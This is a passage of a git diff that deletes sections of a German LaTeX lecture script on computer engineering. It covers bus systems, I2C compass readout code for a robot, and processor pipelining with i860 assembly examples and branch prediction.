\put(0,1.8){\includegraphics[width=4.2cm]{festplatte-pata.jpg}} - \put(2.1,1.6){\makebox(0,0)[t]{\footnotesize Festplatte an PATA-Datenkabel}} - \put(5,1.8){\includegraphics[width=4.2cm]{festplatte-sata.jpg}} - \put(7.1,1.6){\makebox(0,0)[t]{\footnotesize Festplatte an SATA-Datenkabel}} - \end{picture} - - Obwohl bei PATA 16 Leitungen zur Daten�bertragung zur Verf�gung stehen und bei SATA nur eine, - hat SATA h�here �bertragungsraten. - Der Grund daf�r liegt darin, da� die Anforderung - des \emph{exakt gleichzeitigen} Bereitstellens der Datenbits - an den nicht terminierten parallelen Leitungen die Taktfrequenz derma�en begrenzt, - da� eine serielle �bertragung der Daten mit wesentlich h�herer Taktfrequenz - letztlich effizienter ist. - \end{itemize} - \bigskip - \goodbreak - \item - zwischen Netzwerkkarte und Netzwerkkarte:\\ - seriell, mit Adressierung - \begin{itemize} - \item - Token Ring: ringf�rmig - \smallskip - \item - BNC-Ethernet: linear, terminiert - \smallskip - \item - Twisted-Pair-Ethernet: Punkt-zu-Punkt,\\ - mit Hubs/Switches: sternf�rmig - \smallskip - \item - WLAN: sternf�rmig (Access-Point),\\ - im Ad-Hoc-Modus: beliebige Topologie - \par - \begin{picture}(16,11)(0,-1) - \put(0,7.0){\includegraphics[width=4.2cm]{bnc-netz-ende.jpg}} - \put(2.1,6.8){\makebox(0,0)[t]{\footnotesize BNC-Netz: Endpunkt (terminiert)}} - \put(0,3.4){\includegraphics[width=4.2cm]{bnc-netz-mitte.jpg}} - \put(2.1,3.2){\makebox(0,0)[t]{\footnotesize BNC-Netz: Mitte (vorbeigef�hrt)}} - \put(0,0){\includegraphics[width=4.2cm]{bnc-netz-falsch.jpg}} - \put(2.1,-0.2){\makebox(0,0)[t]{\footnotesize BNC-Netz: \textbf{falsch} angeschlossen}} - \put(5.5,5.5){\includegraphics[width=4.2cm]{tp-netz.jpg}} - \put(7.6,5.3){\makebox(0,0)[t]{\footnotesize Twisted-Pair-Netz}} - \put(5.5,0.3){\includegraphics[width=4.2cm]{wlan-access-point.jpg}} - \put(7.6,0.1){\makebox(0,0)[t]{\footnotesize WLAN-Access-Point}} - \end{picture} - \end{itemize} - \end{itemize} - - \subsection{Beispiel: Benutzung des I$^2$C-Busses} - - Als konkretes Beispiel f�r die Anwendung eines Bus-Systems - sei hier das Auslesen des bereits erw�hnten Kompa�-Moduls f�r den RP6-Roboter n�her ausgef�hrt. - - Eine C-Funktion zum Auslesen der Kompa�werte lautet: - - \begingroup - \small - \begin{verbatim} -void read_compass (uint16_t *x, uint16_t *y) -{ - I2CTWI_transmit2Bytes (0x60, 0x00, 0x02); // set coil - mSleep (1); - I2CTWI_transmit2Bytes (0x60, 0x00, 0x04); // reset coil - mSleep (5); - uint8_t result[5]; - I2CTWI_transmit2Bytes (0x60, 0x00, 0x01); // Messung starten - mSleep (5); // 5ms warten, bis Sensor fertig gemessen hat - I2CTWI_transmitByte (0x60, 0x01); // Leseindex setzen - I2CTWI_readBytes (0x61, result, 4); // lesen: msb x, lsb x, msb y, lsb y - result[0] &= 0b00001111; // Unwichtge Bits vom msb abschneiden - result[2] &= 0b00001111; - *x = (result[0] << 8) + result[1]; // Wert berechnen aus msb und lsb - *y = (result[2] << 8) + result[3]; -}\end{verbatim} - \endgroup - - Das Senden von Befehlen an das Kompa�modul erfolgt immer nach demselben Schema. - - Beispiel: \verb|I2CTWI_transmit2Bytes (0x60, 0x00, 0x01); // Messung starten| - \begin{itemize} - \item - Sende das Byte \verb|0x60| - - Hiermit wird das Ger�t "`Kompa�modul"' zum Schreiben adressiert. - - Nachfolgende Bytes werden vom Kompa�modul verarbeitet\\ - und von eventuellen weiteren an denselben I$^2$C-Bus angeschlossenen Ger�ten ignoriert. - - \item - Sende das Byte \verb|0x00| - - Hiermit wird das "`Register Nr.\ 0"' innerhalb des Kompa�moduls zum Schreiben adressiert. - - - \item - Sende das Byte \verb|0x01| - - Dies sind die eigentlichen Nutzdaten -- in diesem Fall der Befehl Nr.\ 1 "`Messung starten"'. - \end{itemize} - - Das Auslesen von Daten erfolgt analog mit einer um 1 erh�hten Adresse:\\ - Zum Lesen wird das Kompa�modul �ber die Adresse \verb|0x61| angesprochen\\ - anstatt, wie zum Schreiben, \verb|0x60|. - - Die Verwendung der Funktion aus einem Programm heraus erfolgt wie folgt: - - \begin{verbatim} - uint16_t compass_x, compass_y; - read_compass (&compass_x, &compass_y);\end{verbatim} - - Als konkrete Anwendung k�nnen wir die Funktion einsetzen, - um das Kompa�modul zu kalibrieren und den Roboter in eine Himmelsrichtung auszurichten. - - Wir lassen den Roboter auf der Stelle rotieren - und rufen dabei wiederholt die Funktion \verb|read_compass()| auf. - Wenn wir die $x$- und $y$-Werte aufzeichnen und gegeneinander auftragen, - erhalten wir n�herungsweise eine Ellipse: - - \begin{center} - \vspace{-1.5\medskipamount} - \includegraphics[height=6cm]{kompass-messung.png}% - \begin{picture}(0,0)(6.1,0.5) - \put(0,3){\vector(1,0){6}} - \put(5.75,2.9){\makebox(0,0)[t]{x}} - \put(3,0){\vector(0,1){6}} - \put(2.9,5.75){\makebox(0,0)[r]{y}} - \end{picture}% - \vspace{1.5\medskipamount} - \end{center} - - Um nun den Roboter in eine Himmelsrichtung auszurichten, k�nnen wir z.\,B.\ folgenderma�en vorgehen: - \begin{itemize} - \item - Achsen normieren: - - Wir berechnen den Mittelpunkt (Mitte zwischen Maximal- und Minimalwerten)\\ - und subtrahieren ihn von den Me�werten. - \item - In den derart normierten Me�werten markiert der Nulldurchgang einer Achse eine Himmelsrichtung. - - Beispiel: $x = 0$ markiert die Nord-S�d-Richtung. - \item - Das Vorzeichen der jeweils anderen Achse sagt aus, welche der beiden Himmelsrichtungen es ist. - - Beispiel: $x = 0$ zusammen mit $y > 0$ markiert Ausrichtung nach Norden. - \end{itemize} - Um also z.\,B.\ den Roboter nach Norden auszurichten, - k�nnen wir ihn zun�chst grob drehen, bis $y$ positiv ist, - und anschlie�end fein drehen, bis $x = 0$ ist. - - \bigskip - - Hinweis f�r die Praxis: Der Funktionsaufruf \verb|I2CTWI_readBytes (0x61, result, 4);| - �berschreibt in der Vari"-ablen \verb|result[]| nicht nur die vier angeforderten Bytes, - sondern noch ein f�nftes Byte f�r interne Zwecke. - (Daher: \verb|uint8_t result[5];| und nicht \verb|uint8_t result[4];|) - - \section{Pipelining} - - \subsection{Konzept} - - \newcommand{\wm}{\raisebox{-0.3cm}{\includegraphics[width=1.0cm]{Waschen_30.pdf}}} - \newcommand{\wt}{\raisebox{-0.3cm}{\includegraphics[width=1.0cm]{Trommeltrocknen.pdf}}} - \newcommand{\be}{\raisebox{-0.3cm}{\includegraphics[width=1.0cm]{Buegeln.pdf}}} - - Wenn eine Aufgabe unter Verwendung mehrerer Ressourcen (z.\,B.\ Werkzeuge) - wiederholt ausgef�hrt werden soll, - ist es sinnvoll, die Aufgabe so in Teilaufgaben zu zerlegen, - da� die Teilaufgaben parallel unter Verwendung der jeweiligen Ressourcen ausgef�hrt werden. - Dieses Konzept hei�t "`Pipelining"'. - - Zur Illustration verwenden wir ein Beispiel aus dem Alltag. - \begin{itemize} - \item - Es sollen drei Ladungen W�sche gewaschen werden. - \item - Der Waschvorgang besteht aus den Teilaufgaben\\ - "`Waschen"' \wm, "`Trocknen"' \wt und "`B�geln"' \be. - \label{WaschenTrocknenBuegeln} - \hfill - \begin{minipage}[b]{4.5cm} - \begin{center} - \vspace*{-2cm} - \wm\quad\wt\quad\be\\ - \figurecaptionurlurl{Symbolbilder f�r "`Waschen"', "`Trocknen"' und "`B�geln"'}% - {http://de.wikipedia.org/wiki/Textilpflegesymbol}% - {23.\,1.\,2012}% - {http://de.wikipedia.org/wiki/Benutzer:Andre_Riemann}% - {\pd} - \end{center} - \vspace*{-0.5cm} - \end{minipage} - \item - Die Teilaufgaben m�ssen in der richtigen Reihenfolge ausgef�hrt werden:\\ - Die W�sche ("`Daten"') "`flie�t"' von einer Ressource zur n�chsten -- "`Datenflu�"'. - \item - Jede Teilaufgabe belegt jeweils eine Ressource (Waschmaschine, Trockner, B�geleisen). - \end{itemize} - - Ohne Pipelining sieht der Waschvorgang folgenderma�en aus: - \begin{center} - \begin{picture}(12,3.5) - \thicklines - \put(1,1){\wm} - \put(2,1){\wt} - \put(3,1){\be} - \put(4,2){\wm} - \put(5,2){\wt} - \put(6,2){\be} - \put(7,3){\wm} - \put(8,3){\wt} - \put(9,3){\be} - \put(-0.1,0.5){\vector(1,0){11.1}} - \put(11.5,0.5){\makebox(0,0){$t$}} - \put(10.5,1.0){\makebox(0,0)[r]{ineffizient}} - \end{picture} - \end{center} - \goodbreak - Um den Waschvorgang effizienter zu gestalten, - k�nnen wir, w�hrend die erste Waschladung im Trockner ist, - bereits die zweite in der Waschmaschine waschen usw. - - Die Zerlegung der Aufgabe in drei parallel ausf�hrbare Teilaufgaben - nennen wir eine "`dreistufige Pipeline"'. - \begin{center} - \begin{picture}(12,3.5) - \thicklines - \put(1,1){\wm} - \put(2,1){\wt} - \put(3,1){\be} - \put(2,2){\wm} - \put(3,2){\wt} - \put(4,2){\be} - \put(3,3){\wm} - \put(4,3){\wt} - \put(5,3){\be} - \put(-0.1,0.5){\vector(1,0){11.1}} - \put(11.5,0.5){\makebox(0,0){$t$}} - \put(10.5,1.0){\makebox(0,0)[r]{effizient}} - \end{picture} - \end{center} - Wenn nur eine Waschmaschine vorhanden ist, - kann die zweite Ladung W�sche solange nicht gewaschen werden, - bis die Waschmaschine wieder frei ist. - - Dies nennt man einen "`Ressourcenkonflikt"'. - \begin{center} - \begin{picture}(12,3.5) - \thicklines - \put(1,1){\wm} - \put(2,1){\wt} - \put(3,1){\be} - \put(1,2){\wm} - \put(2,2){\wt} - \put(3,2){\be} - \put(1,3){\wm} - \put(2,3){\wt} - \put(3,3){\be} - \put(-0.1,0.5){\vector(1,0){11.1}} - \put(11.5,0.5){\makebox(0,0){$t$}} - \put(10.5,1.0){\makebox(0,0)[r]{noch effizienter}} - \color{red} - \thicklines - \put(0.5,0.8){\line(4,1){10}} - \put(0.5,3.3){\line(4,-1){10}} - \put(7.5,1.7){\mbox{\shortstack{Ressourcen-\\konflikt}}} - \end{picture} - \end{center} - Eine andere Randbedingung ist die Reihenfolge der Teilaufgaben: - Es ist nicht zielf�hrend, eine Ladung W�sche zu trocknen, bevor sie gewaschen wurde. - - Entsprechendes gilt im Prozessor: - Es ist nicht m�glich, Rechenergebnisse weiterzuverarbeiten, bevor diese vorliegen. - - Dies nennt man einen "`Datenkonflikt"'. - \begin{center} - \begin{picture}(12,3.5) - \thicklines - \put(1,1){\wm} - \put(2,1){\wt} - \put(3,1){\be} - \put(1,2){\wt} - \put(2,2){\be} - \put(3,2){\wm} - \put(1,3){\be} - \put(2,3){\wm} - \put(3,3){\wt} - \put(-0.1,0.5){\vector(1,0){11.1}} - \put(11.5,0.5){\makebox(0,0){$t$}} - \put(10.5,1.0){\makebox(0,0)[r]{noch effizienter}} - \color{red} - \thicklines - \put(0.5,0.8){\line(4,1){10}} - \put(0.5,3.3){\line(4,-1){10}} - \put(7.5,1.7){\mbox{\shortstack{Daten-\\konflikt}}} - \end{picture}% - \end{center} - - \subsection{Arithmetik-Pipelines} - - \newcommand{\insns}[1]{% - \begin{picture}(0,0) - \put(0,0){\line(1,0){2}} - \put(2,0){\line(0,-1){#1}} - \put(2,-#1){\vector(-1,0){2}} - \end{picture}} - - \newcommand{\insnsup}[1]{% - \begin{picture}(0,0) - \put(0,0){\line(1,0){2}} - \put(2,0){\line(0,1){#1}} - \put(2,#1){\vector(-1,0){2}} - \end{picture}} - - In Kapitel \ref{Speicher- und Registerarchitekturen} - haben wir bereits einen Register-Stack kennengelernt. - - Eine Arithmetik-Pipeline ist gewisserma�en ein "`Register-FIFO"': - In einem Assemblerbefehl wird eine Rechenaufgabe abgeschickt; - eine genau definierte Anzahl Befehle sp�ter ("`L�nge der Pipeline"') - kann das Ergebnis abgerufen werden. - - \bigskip - - Beispiel: Berechnung des Skalarprodukts zweier Vektoren der L�nge 3 - \begin{displaymath} - S = \left(\begin{array}{c}a_1\\a_2\\a_3\end{array}\right) - \cdot\left(\begin{array}{c}b_1\\b_2\\b_3\end{array}\right) - = a_1 \cdot b_1 - + a_2 \cdot b_2 - + a_3 \cdot b_3 - \end{displaymath} - mit einer Pipeline der L�nge 3. - - Zur Vereinfachung verwenden wir anstelle von echten Assembler-Befehlen einen Pseudo-Code: - Mit dem Befehl \texttt{push} wird eine Rechenaufgabe in den "`FIFO"' geschoben. - Drei Befehle sp�ter liegt das Rechenergebnis vor - und kann mit der "`Funktion"' \texttt{pop} abgerufen und weiterbearbeitet werden. - Der -- h�ufig tats�chlich vorhandene -- Assemblerbefehl \texttt{nop} - steht f�r "`no operation"'. - Der Prozessor macht in diesem Fall nichts Neues, rechnet aber im Hintergrund weiter. - - \begin{quote} - \begingroup - \setlength{\unitlength}{\baselineskip}% - \begin{picture}(0,0)(-5.8,-0.25) - \color{red} - \put(0,0.0){\insns{3}} - \put(0.5,-1){\insns{2.9}} - \put(1.0,-2){\insns{3}} - \put(0.5,-4.1){\insns{2.8}} - \put(0.5,-7.1){\insns{2.9}} - \put(-1.5,-9.25){\shortstack{Daten-\\konflikt}} - \end{picture}% - \tt - push $a_1 \cdot b_1$\\ - push $a_2 \cdot b_2$\\ - push $a_3 \cdot b_3$\\ - $s_1$ = pop\\ - push $s_1 + \mbox{pop}$\\ - $s_3$ = pop\\ - nop\\ - push $s_3 + \mbox{pop}$\\ - nop\\ - nop\\ - $S$ = pop\\ - \endgroup - \begin{picture}(0,0) - \color{red} - \put(5,3.8){\makebox(0,0)[l]{$\left.\rule{0pt}{1.2cm}\right\}$ effizient: Pipeline gef�llt}} - \put(5,1.4){\makebox(0,0)[l]{$\left.\rule{0pt}{1.2cm}\right\}$ ineffizient: "`Blasen"'}} - \end{picture} - \end{quote} - An mehreren Stellen ist die Pipeline nicht komplett gef�llt, - und manche Ressourcen bleiben ungenutzt.\\ - Man nennt dieses Ph�nomen "`Blasen"' und erkennt es an den \texttt{nop}-Befehlen.\\ - Blasen entstehen als Folge von Konflikten -- hier: Datenkonflikten. - - Durch die Blasen wirkt der Code eher ineffizient - gegen�ber einer kompakteren Schreibweise ohne Pipeline: - \begin{quote} - \tt - $s_1 = a_1 \cdot b_1$\\ - $s_2 = a_2 \cdot b_2$\\ - $s_3 = a_3 \cdot b_3$\\ - $S = s_1 + s_2$\\ - $S = S + s_3$ - \end{quote} - Tats�chlich jedoch m�ssen die Nicht-Pipeline-Befehle bei jeder Rechenaufgabe warten, - bis das Ergebnis vorliegt. In diesem Beispiel w�ren das drei Taktzyklen; - wir k�nnen uns also unter jeden Nicht-Pipeline-Befehl zwei \texttt{nop}s denken. - - Mit Pipeline ben�tigt die Rechnung 11 Taktzyklen; ohne Pipeline sind es 15. - Bei l�ngeren Rechnungen ist der Unterschied deutlicher. - - \bigskip - - Als reales Beispiel wird im folgenden die Addition zweier beliebig langer Vektoren - mittels einer dreistufigen Pipeline auf einem i860-Prozessor gezeigt. - - Der erste Teil dient der Vorbereitung. - Hier werden Index-Variablen und Zeiger auf die beiden Arrays initialisiert. - Dies soll hier nicht n�her vertieft werden und wird nur der Vollst�ndigkeit halber aufgelistet. - \begin{verbatim} - .align 8 - .globl _vadd - nop - _vadd: - shr 1,r19,r19 - bte r19,r0,exitadd - addu 0x000F,r16,r16 - andnot 0x000F,r16,r16 - adds -16,r16,r16 - addu 0x000F,r17,r17 - andnot 0x000F,r17,r17 - adds -16,r17,r17 - addu 0x000F,r18,r18 - andnot 0x000F,r18,r18 - adds -16,r18,r18 - mov -1,r20 - \end{verbatim} - \goodbreak - Im zweiten Teil erfolgt die eigentliche Addition: - \begin{verbatim} - fld.q 16(r16)++,f16 - fld.q 16(r17)++,f20 - pfadd.dd f16,f20,f0 - bla r20,r19,loopadd - pfadd.dd f18,f22,f0 - loopadd: - d.pfadd.dd f0,f0,f0 - fld.q 16(r16)++,f16 - d.pfadd.dd f0,f0,f24 - fld.q 16(r17)++,f20 - d.pfadd.dd f16,f20,f26 - bla r20,r19,loopadd - d.pfadd.dd f18,f22,f0 - fst.q f24,16(r18)++ - nop - nop - nop - exitadd: - bri r1 - nop\end{verbatim} - \begingroup - \setlength{\unitlength}{\baselineskip}% - \begin{picture}(0,0)(-14.0,-18.9) - \color{red} - \put(0,0){\insns{5.9}} - \put(1.0,-2){\insns{6.0}} - \put(-11,-9){\line(-1,0){1}} - \put(-12,-9){\line(0,-1){2}} - \put(-12,-11){\line(-1,0){1}} - \put(-13,-11){\line(0,1){8}} - \put(-13,-3){\vector(1,0){0.7}} - \put(0.8,-7.8){\insnsup{1.7}} - \put(0.8,-10){\insnsup{1.8}} - \put(0,-12.5){\mbox{sechsmal \texttt{f0} = 2 Blasen}} - \end{picture}% - \endgroup - \texttt{r16} und \texttt{r17} sind ganzzahlige Register, - die hier als Zeiger auf die beiden Arrays verwendet werden. - - \texttt{f16} bis \texttt{f26} sind Flie�kommaregister. - Um doppelt genaue Operationen auszuf�hren (8-Byte- statt 4-Byte-Flie�kommazahlen), - werden jeweils zwei aufeinanderfolgende Flie�kommaregister zusammengelegt. - "`\texttt{f16}"' bezeichnet in diesem Programm also das Registerpaar \texttt{f16/f17}. - - Das Flie�kommaregister \texttt{f0} ist ein Pseudo-Register. - Das Lesen von \texttt{f0} ergibt grunds�tzlich Null, - und in \texttt{f0} geschriebene Werte werden verworfen. - - Der Befehl \texttt{fld} bedeutet: Lade das rechts stehende Flie�kommaregister. - Der Zusatz \texttt{.q} bewirkt, da� zwei Registerpaare, - also insgesamt vier Flie�kommaregister gleichzeitig geladen werden. - Der Speicherort, von dem geladen werden soll, - wird in der ersten Zeile mit \texttt{16(r16)++} angegeben. - \texttt{16(r16)} bedeutet: Lade die Flie�kommaregister von der Speicherzelle, - auf die das Ganzzahlregister \texttt{r16}, erh�ht um 16, zeigt. - Das \texttt{++} bedeutet, da� \texttt{r16} nach dem Ladevorgang um die Zahl vor der Klammer - (hier also 16 Bytes -- die Gr��e von zwei Registerpaaren) erh�ht wird. - - Der Befehl \texttt{pfadd.dd f16,f20,f0} - addiert zwei doppelt genaue Flie�kommaregisterpaare in einer Pipe\-line. - Die Rechnung $\texttt{f16} + \texttt{f20}$ wird begonnen; - das Rechenergebnis, das in diesem Moment aus der Pipeline kommt (hier: undefiniert), - wird im Flie�kommaregisterpaar \texttt{f0} gespeichert (hier also: verworfen). - - Der Befehl \texttt{bla r20,r19,loopadd} ("`Branch on LCC and Add"') ist ein bedingter Sprungbefehl. - Er addiert \texttt{r20} (enth�lt die Konstante $-1$) zu \texttt{r19} (Schleifenz�hler) - und verzweigt dann zu \texttt{loopadd}, - wenn \emph{beim vorherigen \texttt{bla}-Aufruf} das Ergebnis $\ge 0$ war, - wobei vor der Verzweigung noch eine Instruktion ausgef�hrt wird. - F�r den \texttt{bla}-Befehl oberhalb der Schleife - befindet sich das Verzweigungsziel \texttt{loopadd} genau dort, wo es ohnehin weiterginge. - Dieses \texttt{bla} verzweigt also gar nicht, - sondern es sorgt daf�r, da� das \texttt{bla} am Ende der Schleife - einen sinnvollen "`vorherigen \texttt{bla}-Aufruf"' vorfindet. - - F�r das \texttt{bla} am Ende der Schleife ist die zus�tzlich ausgef�hrte Instruktion - in dem roten Pfeil auf der linken Seite mit angedeutet. - - Die den Befehlen vorangestellten \texttt{d.} innerhalb der Schleife bedeuten, - da� der jeweils darunterstehende, einger�ckte Befehl \emph{gleichzeitig} mit ausgef�hrt wird. - - Innerhalb der Schleife werden vier Pipeline-Flie�kommabefehle ausgef�hrt. - Die Pfeile zeigen, wann jeweils das Ergebnis einer Rechnung vorliegt. - Die gleichzeitig ausgef�hrten Lade- und Speicherbefehle laden jeweils zwei neue Operanden - bzw.\ speichern zwei Ergebnisse. - - Obwohl parallel zur eigentlichen Addition - pro Rechenbefehl jeweils zwei Lade- oder Speicherbefehle ausgef�hrt werden, - bleibt das Laden und Speichern der "`Flaschenhals"' der Rechnung. - Dort, wo nicht schnell genug neue Operanden geladen werden k�nnen, - wird die Pipeline-Rechnung durch \texttt{d.pfadd f0,f0,f0} lediglich fortgesetzt, - ohne da� gleichzeitig eine neue Rechnung angeworfen wird. - Durch das Z�hlen der "`leeren"' \texttt{f0}-Operationen - k�nnen wir die Effizienz der Pipeline-Rechnung sofort ablesen: - Jeweils drei \texttt{f0} stehen zusammen f�r einen unproduktiven Taktzyklus - -- eine Blase in der Pipeline. - - Obwohl also der i860 theoretisch in jedem Taktzyklus eine Flie�kommaaddition vollenden k�nnte, - erreichen wir in der Praxis "`nur"' 2 Additionen (und 2 Blasen) in 4 Taktzyklen. - (Ohne Pipeline: 3 Taktzyklen pro Addition) - - \goodbreak - \bigskip - - Zum Abschlu� dieses Beispiels sei noch bemerkt, - da� es sich hier um ein ausgesprochen \emph{einfaches} Beispiel handelt. - �ber die hier kurz angerissenen Befehle hinaus kennt der i860-Prozessor z.\,B.\ noch Befehle, - bei denen gleichzeitig mit einer doppelt genauen Pipeline-Flie�kommaaddition - noch jeweils \emph{eine halbe} doppelt genaue Pipeline-Flie�kommamultiplikation ausgef�hrt wird. - Die Multiplikations-Pipeline steht nur in jedem zweiten Prozessortakt zur Verf�gung, - hat daf�r aber nur zwei Stufen (also vier Takte) anstatt, wie die Additions-Pipeline, drei. - - Bei optimaler Auslastung kann der i860 also pro Takt das Ergebnis einer Flie�kommaaddition - und einer halben Flie�kommamultiplikation abliefern - und gleichzeitig \emph{entweder}\/ bis zu zwei Lade- \emph{oder}\/ bis zu zwei Speicher-Operationen - \emph{oder}\/ eine Ganzzahl-Operation \emph{oder} einen Sprung ausf�hren, - wobei das Erh�hen oder Vergleichen eines Index \emph{keine}\/ Ganzzahl-Operation erfordert, - sondern "`nebenher"' erfolgt. - - Um diese "`Peak Performance"' tats�chlich zu erreichen, - ist zum einen eine "`passende"' Aufgabenstellung erforderlich, - zum anderen aufwendiges Optimieren des Assembler-Codes - -- entweder durch den Compiler oder manuell durch den Programmierer. - - \subsection{Instruktions-Pipelines} - - Ein Prozessor ben�tigt Zeit, um einen Befehl zu verstehen. - Gem�� dem Pipelining-Konzept ist es sinnvoll, - w�hrend der Ausf�hrung eines Befehls bereits die n�chsten Befehle vorauszulesen. - - Dies kann in manchen Situationen zu Problemen f�hren, - insbesondere bei bedingten Spr�ngen. - - Zur Illustration betrachten wir einen bedingten Sprung in einer beliebigen Assemblersprache. - - \begin{verbatim} - .L3: - movw r30,r20 - add r30,r18 - adc r31,r19 - mov r24,r18 - subi r24,lo8(-(1)) - st Z,r24 - subi r18,lo8(-(1)) - sbci r19,hi8(-(1)) - cp r22,r18 - cpc r23,r19 - brge .L3 - ret - \end{verbatim} - - \begin{picture}(0,0)(-0.95,-0.95) - \color{red} - \put(0.5,1.00){\line(-1,0){0.4}} - \put(0.1,1.00){\line(0,1){4.15}} - \put(0.1,5.15){\vector(1,0){0.4}} - \put(0.5,0.90){\line(-1,0){0.4}} - \put(0.1,0.90){\line(0,-1){0.35}} - \put(0.1,0.55){\vector(1,0){0.4}} - \put(4.5,0.825){\begin{minipage}[t]{8cm} - bedingter Sprung: - Welche Befehle vorauslesen?\\[\smallskipamount] - Kontrollflu�konflikt - \end{minipage}} - \end{picture} - - \vspace{-1.5\bigskipamount} - - \texttt{brge} ("`branch if greater or equal"') ist ein bedingter Sprungbefehl. - Vor dessen Ausf�hrung will der Prozessor bereits Befehle vorauslesen -- aber welche? - Wenn er das \texttt{ret} unterhalb von \texttt{brge} vorausliest, - ist diese Information wertlos, wenn nach oben gesprungen wird. - Wenn er das \texttt{movw} am Ziel des Sprunges vorausliest, - ist diese Information wertlos, wenn \emph{nicht} nach oben gesprungen wird. - - Immer wenn die vorausgelesene Information verworfen und neu gelesen werden mu�, - verliert der Prozessor Zeit. - Bei langen Befehls-Pipelines -- mehr als 10 Stufen in modernen Prozessoren -- - kann dies eine erhebliche Einbu�e an Effizienz bedeuten. - Dies nennt man einen Kontrollflu�konflikt. - - Zur Vermeidung von Kontollflu�konflikten versucht man, - Verzweigungen m�glichst zuverl�ssig vorauszusagen. - Hierzu seien mehrere Vorgehensweisen skizziert: - - \begin{itemize} - \setlength{\unitlength}{\baselineskip}% - \item - Wir nehmen an, da� es sich bei Spr�ngen nach oben um Schleifen - und bei Spr�ngen nach unten um Auswahl-Verzweigungen handelt. - In diesem Fall ist es sinnvoll, Spr�nge nach oben grunds�tzlich mit "`ja"' vorherzusagen - und Spr�nge nach unten grunds�tzlich mit "`nein"'. - - Wenn z.\,B.\ eine Schleife 99mal ausgef�hrt und beim 100sten Mal verlassen wird, - ergibt die Zweigvorhersage 99 Treffer und 1 Fehltreffer, - also nur 1 Blase als Folge eines Kontrollflu�konfliktes - gegen�ber 99 korrekt vorausgelesenen Befehlen. - Entsprechendes gilt f�r eine Auswahl von 100 Varianten, von denen nur eine gew�hlt wird. - - Diese primitive Art der Zweigvorhersage schl�gt fehl, - wenn das Programm z.\,B.\ eine Schleife enth�lt, die normalerweise direkt wieder verlassen wird, - oder wenn in einer Reihe von Befehlen jedem einzelnen eine Bedingung ("`\texttt{if}"') voransteht, - die normalerweise erf�llt ist. - - \goodbreak - \item - Ein anderes Konzept der Zweigvorhersage nutzt das Wissen aus, - das der Programmierer oder der Compiler �ber das Programm hat: - verz�gerte Spr�nge -- "`Delayed Branches"'. - - \begin{verbatim} - loopadd: - d.pfadd.dd f0,f0,f0 - fld.q 16(r16)++,f16 - d.pfadd.dd f0,f0,f24 - fld.q 16(r17)++,f20 - d.pfadd.dd f16,f20,f26 - bla r20,r19,loopadd - d.pfadd.dd f18,f22,f0 - fst.q f24,16(r18)++ - \end{verbatim} - \begingroup - \setlength{\unitlength}{\baselineskip}% - \begin{picture}(0,0)(-11.6,-14.3) - \color{red} - \put(-7,-9){\line(-1,0){1}} - \put(-8,-9){\line(0,-1){2}} - \put(-8,-11){\line(-1,0){1}} - \put(-9,-11){\line(0,1){8}} - \put(-9,-3){\vector(1,0){0.7}} - \end{picture} - \endgroup - - \vspace{-\bigskipamount} - - Der auf den Sprungbefehl folgende Befehl wird noch vor dem Sprung ausgef�hrt. - Der Programmierer entscheidet, wie dieser Befehl lautet, - und hat somit die M�glichkeit, die wahrscheinlichere Aktion -- mit bzw.\ ohne Sprung -- vorzubereiten. - - Im o.\,a.\ Beispiel f�r den i860 lautet der Befehl, der vor dem Sprung noch ausgef�hrt wird: - \begin{verbatim} - d.pfadd.dd f18,f22,f0 - fst.q f24,16(r18)++\end{verbatim} - Der Flie�kommateil \verb|d.pfadd.dd f18,f22,f0| - leitet eine neue Rechnung ein und setzt laufende Rechnungen fort, - ist also nur dann sinnvoll, wenn die Schleife fortgesetzt wird. - Der Ganzzahlanteil \verb|fst.q f24,16(r18)++| speichert das Ergebnis einer vergangenen Rechnung, - ist also in beiden F�llen sinnvoll. - Dieses Programm ist also daraufhin optimiert, da� die Schleife oft ausgef�hrt wird, - verliert aber auch im ung�nstigen Fall nur einen halben Taktzyklus (den Flie�kommaanteil). - - \item - Eine aus Hardware-Sicht aufwendigere L�sung ist das Konzept des "`Branch History Tables"': - Der Prozessor merkt sich f�r bedingte Spr�nge, - ob sie beim letzten Mal ausgef�hrt wurden oder nicht. - Wenn Code mehrfach ausgef�hrt wird, \emph{kann\/} dies eine sinnvolle Vorhersage sein. - \end{itemize} - - Diese Liste ist bei weitem nicht vollst�ndig, sondern soll nur einen kleinen Einblick vermitteln, - was alles n�tig ist, um die Leistungsf�higkeit aktueller Prozessoren zu erm�glichen. - - Die Sprung- oder Zweigvorhersage ist ein wichtiges Konzept moderner Prozessoren - und Gegenstand aktueller Forschung. - - \clearpage - \section{Ausblick} - - \begin{itemize} - \item - Aktuelle Prozessoren implementieren - \newterm{explicitly Parallel Instruction Computing (EPIC)}. - \item - \newterm{Field Programmable Gate Arrays (FPGAs)\/} - sind Bausteine, auf denen man per Software Logik-Schaltungen entstehen l��t - (Hardwarebeschreibungssprachen: VHDL, Verilog). - Auf diese Weise erzeugt man spezialisierte Computer-Hardware, - die ihre Aufgaben selbst bei vergleichsweise niedrigen Taktfrequenzen - effizienter erledigen als Allzweck-Computer. - \item - \newterm{C-to-Hardware-Synthese\/}: - Es ist auch m�glich, spezialisierte Hardware direkt anhand von C-Code - (anstelle von VHDL, Verilog) zu generieren. - \end{itemize} - - \clearpage - - \begin{thebibliography}{9} - \bibitem{WP: Rechnertechnik} - \url{http://de.wikipedia.org/wiki/Rechnertechnik}, - abgerufen am 7.\,10.\,2012 -% \bibitem{WP: Galoistheorie} -% \url{http://de.wikipedia.org/wiki/Galoistheorie}, -% abgerufen am 7.\,10.\,2012 - \bibitem{Analogcomputer} - \url{http://www.robotrontechnik.de/html/computer/analogrechner.htm},\\ - \url{http://www.heise.de/tp/artikel/36/36877/1.html}, - beides abgerufen am 7.\,10.\,2012 - \end{thebibliography} - -\end{document} diff --git a/script/rtech-slides-title-2021ss.pdf b/script/rtech-slides-title-2021ss.pdf deleted file mode 100644 index 61a6cd7fd343334c44fa90bde3c5bd38ae3e0a44..0000000000000000000000000000000000000000 Binary files a/script/rtech-slides-title-2021ss.pdf and /dev/null differ diff --git a/script/rtech-slides-title-2021ss.tex b/script/rtech-slides-title-2021ss.tex deleted file mode 100644 index 0f848b8eac6f6a8cbd65f8f28a0bf776c9983b31..0000000000000000000000000000000000000000 --- a/script/rtech-slides-title-2021ss.tex +++ /dev/null @@ -1,75 +0,0 @@ -% rtech-slides-title-2021ss.pdf - Title Page for Lecture Slides on Computer Technology -% Copyright (C) 2018, 2019, 2020, 2021 Peter Gerwinski -% -% This document is free software: you can 